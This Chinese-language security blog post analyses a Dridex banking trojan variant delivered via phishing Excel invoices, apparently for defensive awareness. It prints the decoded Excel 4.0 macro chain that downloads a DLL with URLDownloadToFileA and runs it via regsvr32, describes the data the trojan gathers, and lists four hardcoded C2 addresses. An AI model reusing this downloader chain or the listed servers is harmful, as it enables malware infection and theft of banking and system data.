Dridex木馬新變種來襲,小心來歷不明的郵件!

深信服千里目發表於2020-09-24

背景概述

網路安全宣傳的時候經常都會強調不要隨意開啟來歷不明的郵件或者檔案,這又是為什麼呢?

因為很多時候一些木馬病毒的入侵就是透過釣魚郵件來進行的,深信服安全團隊近期捕獲的Dridex木馬病毒新變種就是透過這種入侵方式來入侵受害者系統並竊取資訊。

Dridex是目前全球活躍且技術比較先進的銀行木馬之一,其又被稱為BUGAT和Cridex,主要目的是從受感染機器的使用者那裡竊取網上銀行和系統資訊,進行欺詐性交易,該病毒樣本會安裝鍵盤偵聽器並執行注入攻擊。

Dridex的目標使用者是Windows使用者,透過誘導使用者開啟釣魚郵件附件中的Excel文件,導致宏啟用並下載Dridex,從而感染計算機並竊取使用者資訊。

樣本資訊

 病毒名 Dridex Trojan Variant
 MD5 36d6caa7639fa761ec5408b1cdc8cad7
 SHA256 519312A969094294202A2EBE197BB4C563BA506FFFBD45000F0F9CC2923695CE
 樣本型別 Microsoft Excel 2007+
 病毒型別 Dridex
Dridex木馬新變種來襲,小心來歷不明的郵件!


入侵流程圖:

Dridex木馬新變種來襲,小心來歷不明的郵件!

詳細分析

這個樣本主要透過釣魚的方式,偽裝成帶有偽造電子發票的Excel電子郵件,如果雙擊附件,Microsoft Office Excel會開啟它;

Dridex木馬新變種來襲,小心來歷不明的郵件!

檢視我們的電子發票需要去開啟宏,但是宏可用於載入其他惡意程式,所以對於一個未知的excel文件來講,啟用宏和開啟未知的exe檔案一樣危險。

如果這個excel含有vba程式碼:

1、可以點選All-Open and pay 來執行惡意的VBA程式碼;

2、點選事件的按鈕,來觸釋出局事件(Layout);

檢視一下VBA程式碼:

Dridex木馬新變種來襲,小心來歷不明的郵件!

發現會彈出警告的訊息,VBA被隱藏了,可以嘗試用EvilClippy去除隱藏屬性,安裝相應的元件mono。

*EvilClippy介紹:EvilClippy的開源工具,EvilClippy是一款專用於建立惡意MS Office測試文件的跨平臺安全工具,它可以隱藏VBA宏和VBA程式碼,並且可以對宏程式碼進行混淆處理以增加宏分析工具的分析難度。當前版本的EvilClippy支援在Linux、macOS和Windows平臺上執行,實現了跨平臺特性。

解除保護:

EvilClippy.exe -uu macrofile.doc

Dridex木馬新變種來襲,小心來歷不明的郵件!

直接解除保護檢視:

Dridex木馬新變種來襲,小心來歷不明的郵件!

直接可以看到相應的程式碼:

Dridex木馬新變種來襲,小心來歷不明的郵件!
Dridex木馬新變種來襲,小心來歷不明的郵件!

可以大概知道A720-A1008有編碼的URL列表,由於字型顏色是白色的,可以調整一下便於檢視;

Dridex木馬新變種來襲,小心來歷不明的郵件!

直接除錯vbs程式碼:

Dridex木馬新變種來襲,小心來歷不明的郵件!

發現解碼IF(ISNUMBER(SEARCH("do",GET.WORKSPACE(1))), ,CLOSE(TRUE)),

繼續下斷除錯;

Dridex木馬新變種來襲,小心來歷不明的郵件!

CALL("Kernel32","CreateDirectoryA","JCJ","C:\;",0)

Dridex木馬新變種來襲,小心來歷不明的郵件!

CALL("Kernel32","CreateDirectoryA","JCJ","C:\;'",0)

Dridex木馬新變種來襲,小心來歷不明的郵件!

CALL("URLMON","URLDownloadToFileA", "JJCCJJ",0,"X","C:\;'$.",0,0)

Dridex木馬新變種來襲,小心來歷不明的郵件!

CALL("Shell32","ShellExecuteA", "JJCCCCJ",0,"Open","regsvr32"," -s C:\;'$.",0,0)

整理一下:

Dridex木馬新變種來襲,小心來歷不明的郵件!

IF(ISNUMBER(SEARCH("do",GET.WORKSPACE(1))), ,CLOSE(TRUE))
CALL("Kernel32","CreateDirectoryA","JCJ","C:\;",0)
CALL("Kernel32","CreateDirectoryA","JCJ","C:\;\'",0)
CALL("URLMON","URLDownloadToFileA", "JJCCJJ",0,"X","C:\;\'\$.",0,0)
CALL("Shell32","ShellExecuteA", "JJCCCCJ",0,"Open","regsvr32"," -s C:\;\'\$.",0,0)

在URLDownloadToFileA開始下載東西;

Dridex木馬新變種來襲,小心來歷不明的郵件!

以上的過程是將隨意的URL下載到本地的檔案中去,檔名字隨機,記錄一下這幾個網站然後去比較一下下載的dll檔案MD5值,發現這幾個檔案的MD5值是一樣的。

Dridex木馬新變種來襲,小心來歷不明的郵件!

可以看到變數是我們看到的資料夾,路徑 C:\cEACqJVb\D6dpWrT\26bKqTf

Dridex木馬新變種來襲,小心來歷不明的郵件!

最後可以看到使用一個命令 -s regsvr32下載檔案,直接cmd process檢視一下程式;

Dridex木馬新變種來襲,小心來歷不明的郵件!

Dridex木馬新變種來襲,小心來歷不明的郵件!

檢視process tree 可以知道利用了execl去作為Dridex下載器,病毒直接呼叫了dridex中的一個方法,regsvr32為了能夠索引到xxx.dll後建立元件,呼叫了函式DllEntryPoint完成元件的註冊。

Dridex木馬新變種來襲,小心來歷不明的郵件!

我們可以看到下載的檔案也是一個dll的格式,符合上面的regsvr,嘗試直接用od附加進行除錯DLL,檢視一下匯出函式;

Dridex木馬新變種來襲,小心來歷不明的郵件!

Dridex木馬新變種來襲,小心來歷不明的郵件!

或者也可以直接用OD中的外掛loaddll 直接除錯。

直接bp LoadLibraryExW 找到那個dll檔案(如果不知道斷那個LoadLibrary可以ExW ExA A W都下斷,f9進行分析);

Dridex木馬新變種來襲,小心來歷不明的郵件!

引數這裡寫我們的dll位置,定位檢視;

Dridex木馬新變種來襲,小心來歷不明的郵件!

直接定位到位置後下斷點,重新執行到該斷點的位置,

Dridex木馬新變種來襲,小心來歷不明的郵件!

可以直接停在這裡分析,類似一個解壓縮的過程,最後的地址載入到EAX中,進行跳轉;

Dridex木馬新變種來襲,小心來歷不明的郵件!

執行後,解密提取PE檔案到可執行記憶體空間,類似於正常PE的拉伸的一個過程;

Dridex木馬新變種來襲,小心來歷不明的郵件!

發現以下可疑點:

Dridex木馬新變種來襲,小心來歷不明的郵件!

正常來說恢復現場應該是pop,但是這裡用了push edx 加上 retn = jmp edx,相當於呼叫了Dridex核心的部分;

Dridex木馬新變種來襲,小心來歷不明的郵件!

每一個dll檔案都會提供一個匯出功能,這裡regsvr32呼叫了GetProcAddress從Dridex中獲取了export:DllRegisterServer,主要查詢匯出函式的地址,幾乎所有的惡意操作都在DllRegisterServer中,相當於執行了惡意操作的主函式main; Dridex木馬新變種來襲,小心來歷不明的郵件!

在這個DllRegisterServer函式中,Dridex從終端獲取資訊,傳送到一個伺服器,它獲取自身電腦的使用者名稱和完整的計算機名,然後從登錄檔中讀取Windows安裝時間,將獲取的資訊放在一起,加密成MD5。

資料長度+計算機名稱+ MD5值,他會獲取我們計算機登錄檔中,所有已安裝的軟體登錄檔資訊。

Dridex木馬新變種來襲,小心來歷不明的郵件!

例如經常玩的wegame: Dridex木馬新變種來襲,小心來歷不明的郵件!

用的一些工具wireshark:

Dridex木馬新變種來襲,小心來歷不明的郵件!

Dridex木馬新變種來襲,小心來歷不明的郵件!

 Dridex木馬新變種來襲,小心來歷不明的郵件!

Dridex木馬新變種來襲,小心來歷不明的郵件!

Dridex木馬新變種來襲,小心來歷不明的郵件!

*Roaming資料夾是用於存放一些使用程式後產生的資料檔案。

將收集到的資訊傳送到一個伺服器上

Dridex木馬新變種來襲,小心來歷不明的郵件!

以下四個地址是硬編碼寫入的,用來傳送收集到的終端資料資料。

31 39 39 2E 36 36 2E 39 30 2E 36 33 3A 34 34 33  199.66.90.63:443
35 31 2E 36 38 2E 32 32 34 2E 32 34 35 3A 34 36  51.68.224.245:46
38 35 2E 32 31 34 2E 32 36 2E 37 3A 33 33 38 39  85.214.26.7:3389
31 30 37 2E 31 37 35 2E 38 37 2E 31 35 30 3A 33 38 38 39  107.175.87.150:3889

總結

該惡意程式透過垃圾郵件進行分發,會對銀行以及公司造成很嚴重的後果,雖然Dridex病毒很久沒有大量出現,但是一旦感染,會導致計算機內大量的資料洩漏,所以我們也要去做好相應的防範措施,避免這種事情的發生。

相關文章